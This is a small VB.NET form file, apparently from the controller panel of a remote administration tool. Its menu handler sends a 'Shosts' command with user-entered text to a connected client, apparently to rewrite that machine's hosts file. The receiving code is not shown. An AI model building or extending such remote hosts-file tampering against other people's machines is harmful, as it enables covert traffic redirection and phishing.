24 lines
909 B
VB.net
24 lines
909 B
VB.net
Imports System.Threading
|
|
Public Class Hosts
|
|
|
|
Public C As Client
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
|
|
Dim B As Byte() = SB("Shosts" & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
ToolStripMenuItem1.Enabled = False
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
|
ToolStripMenuItem1.Enabled = True
|
|
End Sub
|
|
End Class |